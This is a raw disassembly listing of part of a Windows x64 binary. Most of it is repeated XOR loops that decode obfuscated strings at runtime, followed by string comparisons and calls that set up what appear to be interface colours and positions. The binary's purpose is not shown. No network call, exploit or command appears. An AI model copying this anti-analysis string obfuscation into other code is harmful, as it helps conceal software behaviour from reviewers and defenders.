cmp byte [0x1401976f4], 0
jne 0x140092d4a
cmp rdi, rsi
je 0x140092ccf
mov rdx, rsi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x1401961e8]
mov r8, qword [0x1401961f8]
mov rcx, rdi
call fcn.140082630
mov rdx, r12
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140196208]
mov r8, qword [0x140196218]
mov rcx, r15
call fcn.140082630
mov rdx, r13
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140196228]
mov r8, qword [0x140196238]
mov rcx, r14
call fcn.140082630
lea rdx, [0x140196248]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140196248]
mov r8, qword [0x140196258]
lea rcx, [0x1401962c8]
call fcn.140082630
cmp byte [0x1401976f4], 0
je 0x140093a93
cmp byte [0x1401976f7], 0
jne 0x140093a93
lea rax, [rbp + 0xf00]
mov qword [rsp + 0x50], rax
movups xmm3, xmmword [0x140161878]
movups xmmword [rbp + 0x688], xmm3
movsd xmm0, qword [0x140161888]
movsd qword [rbp + 0x698], xmm0
movzx eax, word [0x140161890]
mov word [rbp + 0x6a0], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140092e87
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.77777777]
movq xmm1, xmm3
xorps xmm2, xmm1
movq qword [rbp + 0x688], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [str.77777777]
movq xmm0, qword [rbp + 0x690]
xorps xmm2, xmm0
movq qword [rbp + 0x690], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x688]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140092ea0
lea rdx, [rbp + 0x688]
lea rcx, [rbp + 0xf00]
call fcn.140063390
mov r14, rax
movups xmm0, xmmword [0x140161820]
movups xmmword [rbp + 0xdc0], xmm0
movups xmm1, xmmword [0x140161830]
movups xmmword [rbp + 0xdd0], xmm1
movups xmm0, xmmword [0x140161840]
movups xmmword [rbp + 0xde0], xmm0
movups xmm1, xmmword [0x140161850]
movups xmmword [rbp + 0xdf0], xmm1
movups xmm0, xmmword [str._7:___2__]
movups xmmword [rbp + 0xe00], xmm0
movzx eax, word [0x140161870]
mov word [rbp + 0xe10], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140093073
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm7, xmmword [str.77777777]
lea rcx, [rbp + 0xdc0]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140092f80
cmp r8d, 0x29
jge 0x1400930b5
movsxd rax, r8d
lea r9, [rbp + 0xdc0]
lea r9, [r9 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x140093081
lea rdx, [rbp + 0xdc0]
lea rcx, [rbp + 0xf20]
call fcn.140063390
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xf40]
call fcn.140089a80
mov rdx, rax
mov rcx, rdi
call fcn.140066030
lea rcx, [rbp + 0xf40]
call fcn.140064ee0
lea rax, [rbp + 0xf60]
mov qword [rsp + 0x50], rax
movups xmm7, xmmword [0x1401618e8]
movups xmmword [rbp + 0x668], xmm7
movsd xmm0, qword [0x1401618f8]
movsd qword [rbp + 0x678], xmm0
movzx eax, word [0x140161900]
mov word [rbp + 0x680], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14009322a
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [str.77777777]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x668], xmm3
movdqa xmm2, xmmword [0x140164320]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x670]
xorps xmm3, xmm0
movq qword [rbp + 0x670], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x668]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x140093240
lea rdx, [rbp + 0x668]
lea rcx, [rbp + 0xf60]
call fcn.140063390
mov r14, rax
movups xmm0, xmmword [0x1401618a0]
movups xmmword [rbp + 0xd70], xmm0
movups xmm1, xmmword [0x1401618b0]
movups xmmword [rbp + 0xd80], xmm1
movups xmm0, xmmword [0x1401618c0]
movups xmmword [rbp + 0xd90], xmm0
movups xmm1, xmmword [0x1401618d0]
movups xmmword [rbp + 0xda0], xmm1
movsd xmm0, qword [str._7Zd_KSZPsKR__0C]
movsd qword [rbp + 0xdb0], xmm0
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140093403
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm7, xmmword [str.77777777]
lea rcx, [rbp + 0xd70]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140093310
cmp r8d, 0x24
jge 0x140093445
movsxd rax, r8d
lea r9, [rbp + 0xd70]
lea r9, [r9 + rax*2]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x24
jl 0x140093411
lea rdx, [rbp + 0xd70]
lea rcx, [rbp + 0xf80]
call fcn.140063390
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0xfa0]
call fcn.140089a80
mov rdx, rax
mov rcx, r15
call fcn.140066030
lea rcx, [rbp + 0xfa0]
call fcn.140064ee0
lea rax, [rbp + 0xfc0]
mov qword [rsp + 0x50], rax
movups xmm7, xmmword [str.d_KSZPsKR__0C]
movups xmmword [rbp + 0x6a8], xmm7
movsd xmm0, qword [0x140161978]
movsd qword [rbp + 0x6b8], xmm0
movzx eax, word [0x140161980]
mov word [rbp + 0x6c0], ax
xor r8d, r8d
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400935ba
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [str.77777777]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x6a8], xmm3
movdqa xmm2, xmmword [0x140164320]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x6b0]
xorps xmm3, xmm0
movq qword [rbp + 0x6b0], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x6a8]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400935d0
lea rdx, [rbp + 0x6a8]
lea rcx, [rbp + 0xfc0]
call fcn.140063390
mov r14, rax
movups xmm0, xmmword [0x140161910]
movups xmmword [rbp + 0xe20], xmm0
movups xmm1, xmmword [0x140161920]
movups xmmword [rbp + 0xe30], xmm1
movups xmm0, xmmword [0x140161930]
movups xmmword [rbp + 0xe40], xmm0
movups xmm1, xmmword [str.o_a8__f_n]
movups xmmword [rbp + 0xe50], xmm1
movups xmm0, xmmword [str.6_84_:_]
movups xmmword [rbp + 0xe60], xmm0
movzx eax, word [0x140161960]
mov word [rbp + 0xe70], ax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x14009379f
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm7, xmmword [str.77777777]
lea rcx, [rbp + 0xe20]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x1400936b0
cmp r8d, 0x29
jge 0x1400937e4
movsxd rax, r8d
lea r9, [rbp + 0xe20]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x29
jl 0x1400937b0
lea rdx, [rbp + 0xe20]
lea rcx, [rbp + 0xfe0]
call fcn.140063390
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1060]
call fcn.140089a80
mov rdx, rax
lea rcx, [0x1401962a8]
call fcn.140066030
lea rcx, [rbp + 0x1060]
call fcn.140064ee0
lea rax, [rbp + 0x1000]
mov qword [rsp + 0x50], rax
movsd xmm0, qword [str.bmp_]
movsd qword [rbp + 0x78], xmm0
movzx eax, word [0x1401619f0]
mov ecx, 0x55
mov word [rbp + 0x78], cx
xor word [rbp + 0x7a], 0x38
xor word [rbp + 0x7c], 0x39
xor word [rbp + 0x7e], 0x3a
xor ax, 0x3b
mov word [rbp + 0x80], ax
lea rdx, [rbp + 0x78]
lea rcx, [rbp + 0x1000]
call fcn.140063390
mov r14, rax
movups xmm0, xmmword [0x140161990]
movups xmmword [rbp + 0xe80], xmm0
movups xmm1, xmmword [0x1401619a0]
movups xmmword [rbp + 0xe90], xmm1
movups xmm0, xmmword [0x1401619b0]
movups xmmword [rbp + 0xea0], xmm0
movups xmm1, xmmword [0x1401619c0]
movups xmmword [rbp + 0xeb0], xmm1
movups xmm0, xmmword [0x1401619d0]
movups xmmword [rbp + 0xec0], xmm0
mov eax, dword [0x1401619e0]
mov dword [rbp + 0xed0], eax
xor eax, eax
mov r8d, eax
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x1400939ff
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm7, xmmword [str.77777777]
lea rcx, [rbp + 0xe80]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x28
jl 0x140093910
cmp r8d, 0x2a
jge 0x140093a44
movsxd rax, r8d
lea r9, [rbp + 0xe80]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub ax, dx
movzx eax, ax
imul ecx, eax, 0x37
add cx, r8w
xor word [r9], cx
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x2a
jl 0x140093a10
lea rdx, [rbp + 0xe80]
lea rcx, [rbp + 0x1020]
call fcn.140063390
nop
mov r8, r14
mov rdx, rax
lea rcx, [rbp + 0x1040]
call fcn.140089a80
mov rdx, rax
lea rcx, [0x1401962c8]
call fcn.140066030
lea rcx, [rbp + 0x1040]
call fcn.140064ee0
mov byte [0x1401976f7], 1
lea r14, [0x1401962a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x10c0], xmm0
movdqa xmm1, xmmword [0x140164300]
movdqu xmmword [rbp + 0x10d0], xmm1
mov byte [rbp + 0x10c0], 0
movups xmmword [rbp + 0x10a0], xmm0
movdqu xmmword [rbp + 0x10b0], xmm1
mov byte [rbp + 0x10a0], 0
movups xmmword [rbp + 0x1178], xmm0
movdqu xmmword [rbp + 0x1188], xmm1
mov byte [rbp + 0x1178], 0
movups xmmword [rbp + 0x1100], xmm0
movdqu xmmword [rbp + 0x1110], xmm1
mov byte [rbp + 0x1100], 0
mov dword [rbp + 0x418], 0x42480000
mov dword [rbp + 0x41c], 0x42dc0000
lea rcx, [rbp + 0x418]
call fcn.140025c50
mov rcx, qword [rbp + 0x70]
call fcn.140025a50
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140196268]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rsi, qword [0x1401961e8]
mov r8, qword [0x1401961f8]
cmp r8, qword [0x140196278]
jne 0x140093d4d
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140093d4d
mov qword [rbx + 0xd4], 0x3f800000
xor ecx, ecx
mov dword [rbx + 0xdc], ecx
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140161a08]
movups xmmword [rbp + 0xa8], xmm0
movzx eax, word [0x140161a18]
mov word [rbp + 0xb8], ax
cmp byte [0x140161a19], cl
je 0x140093d41
mov r8d, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140093cf5
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xac]
mov edx, dword [rsp + 0x50]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140093bf0
cmp r8d, 0x12
jge 0x140093d41
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x140093d10
lea rdx, [rbp + 0xa8]
jmp 0x140093f08
xor ecx, ecx
mov dword [rbx + 0xd4], ecx
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movsd xmm0, qword [0x1401619f8]
movsd qword [rbp + 0xa8], xmm0
mov eax, dword [0x140161a00]
mov dword [rbp + 0xb0], eax
movzx eax, word [0x140161a04]
mov word [rbp + 0xb4], ax
cmp byte [0x140161a05], cl
je 0x140093f01
mov r8d, ecx
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140093eb8
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm2, xmmword [0x1401222b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
mov eax, dword [0x1401643c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x1401619f8]
xorps xmm2, xmm0
movd dword [rbp + 0xa8], xmm2
movdqa xmm3, xmmword [0x140164320]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 1
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140164330]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401643a0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xac]
xorps xmm2, xmm1
movd dword [rbp + 0xac], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xa8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x37
add cl, r8b
xor byte [r9], cl
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140093ed0
lea rdx, [rbp + 0xa8]
lea rcx, [rbp + 0x10c0]
call fcn.1400660c0
lea rcx, [rbp + 0x10c0]
cmp qword [rbp + 0x10d8], 0xf
cmova rcx, qword [rbp + 0x10c0]
call fcn.14004f2f0
mov dword [rbp + 0x420], 0x42480000
mov dword [rbp + 0x424], 0x43020000
lea rcx, [rbp + 0x420]
call fcn.140025c50
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x140196268]
mov rcx, rdi
call fcn.14004f2f0
mov dword [rbp + 0x428], 0x42480000
mov dword [rbp + 0x42c], 0x43200000
lea rcx, [rbp + 0x428]
call fcn.140025c50
mov rcx, qword [rbp + 0x70]
call fcn.140025a50
mov rdx, r15
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x140196288]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r12, qword [0x140196208]
mov r8, qword [0x140196218]
cmp r8, qword [0x140196298]
jne 0x1400941ed
mov rcx, r12
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x1400941ed
mov qword [rbx + 0xd4], 0x3f800000
xor r12d, r12d
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.uqvie]
movups xmmword [rbp + 0x650], xmm0
movzx eax, word [0x140161a40]
mov word [rbp + 0x660], ax
movzx eax, byte [0x140161a42]
mov byte [rbp + 0x662], al
mov r8d, r12d
mov esi, dword [reloc.WS2_32.dll_accept]
cmp esi, 2
jl 0x140094199
movdqa xmm5, xmmword [0x1401222b0]
movdqa xmm4, xmmword [0x1401643b0]
movdqa xmm6, xmmword [0x140164330]
movdqa xmm0, xmmword [0x1401643c0]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x654]
